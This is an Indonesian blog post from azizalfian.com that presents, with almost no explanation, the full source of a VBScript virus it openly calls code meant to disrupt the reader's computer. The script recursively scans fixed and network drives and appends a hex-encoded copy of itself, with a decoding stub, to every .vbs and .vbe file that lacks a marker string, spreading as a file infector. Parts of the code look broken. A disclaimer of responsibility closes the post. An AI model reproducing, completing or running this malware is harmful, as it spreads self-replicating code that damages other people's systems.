Contoh Bad code program

Ini adalah sekedar contoh code program yang bertujuan untuk mengacaukan sistem komputer anda. Tujuan saya memposting ini agar untuk belajar memahami isi perintah yang terkandung di dalamnya.

Berikut ini adalah isi dari script nya

On Error Resume Next
Set MawarPutih = CreateObject(“Scripting.FileSystemObject”)
Angel1()
Sub Angel1()
On Error Resume Next
Set a = CreateObject(“Scripting.FileSystemObject”)
For Each SalinMawarPutih In a.Drives
If SalinMawarPutih.DriveType = 2 _
Or SalinMawarPutih.DriveType = 3 Then
Angel3 (SalinMawarPutih.Path & “”)
End If
Next
End Sub
Sub Angel2(FileTarget)
On Error Resume Next
Set otf = a.GetFile(WScript.ScriptFullName)
ra = otf.ReadAll
otf.Close
Set a = CreateObject(“Scripting.FileSystemObject”)
Set f = a.GetFolder(FileTarget)
For Each n In f.Files
FileExt = LCase(a.GetExtensionName(n.Path))
If FileExt = “vbs” Or FileExt = “vbe” Then
Set openvbs = a.OpenTextFile(n.Path, 1)
vbsra = openvbs.ReadAll
openvbs.Close
If InStr(1, vbsra, “Tips And Trik by “) = False Then
Set MawarPutih = CreateObject(“Scripting.FileSystemObject”)
Set JC = MawarPutih.OpenTextFile(WScript.ScriptFullName, 1)
RantingMawarPutih = JC.ReadAll
JC.Close
Set MawarMerah = MawarPutih.OpenTextFile(n.Path, 8, True)
MawarMerah.WriteLine vbCrLf & “’ Hack .VBS by ” & vbCrLf & “Tz = ” & Chr(34) & Chr(34)
For i = 1 To Len(RantingMawarPutih)
Tz = Mid(RantingMawarPutih, i, 1)
Tz = Hex(Asc(Tz))
If Len(Tz) = 1 Then
Tz = “0” & Tz
End If
Gz = Gz + Tz
If Len(Gz) = 110 Then
MawarMerah.WriteLine “Tz = Tz + “”” + Gz + Chr(34)
Gz = “”
End If
If Len(RantingMawarPutih) – i = 0 Then
MawarMerah.WriteLine “Tz = Tz + “”” + Gz + Chr(34)
Gz = “”
End If
Next
MawarMerah.WriteLine “Set MawarPutih = CreateObject(“”Scripting.FileSystemObject””)”
MawarMerah.WriteLine “WriteAppend.Write CM(Tz)”
MawarMerah.WriteLine “WriteAppend.Close”
MawarMerah.WriteLine “Function CM(CN)”
MawarMerah.WriteLine “For GC = 1 To Len(CN) Step 2”
MawarMerah.WriteLine “CM = CM & Chr(“”&h”” & Mid(CN, GC, 2))”
MawarMerah.WriteLine “Next”
MawarMerah.WriteLine “End Function”
MawarMerah.Close
End If
End If
Next
End Sub
Sub Angel3(FileTarget)
On Error Resume Next
Set a = CreateObject(“Scripting.FileSystemObject”)
Set f = a.GetFolder(FileTarget)
For Each n In f.SubFolders
Angel2 (n.Path)
Angel3 (n.Path)
Next
End Sub

Kami tidak bertanggung jawab atas kerusakan yang timbul pada sistem anda.

Terima kasih anda telah mengunjungi azizalfian.com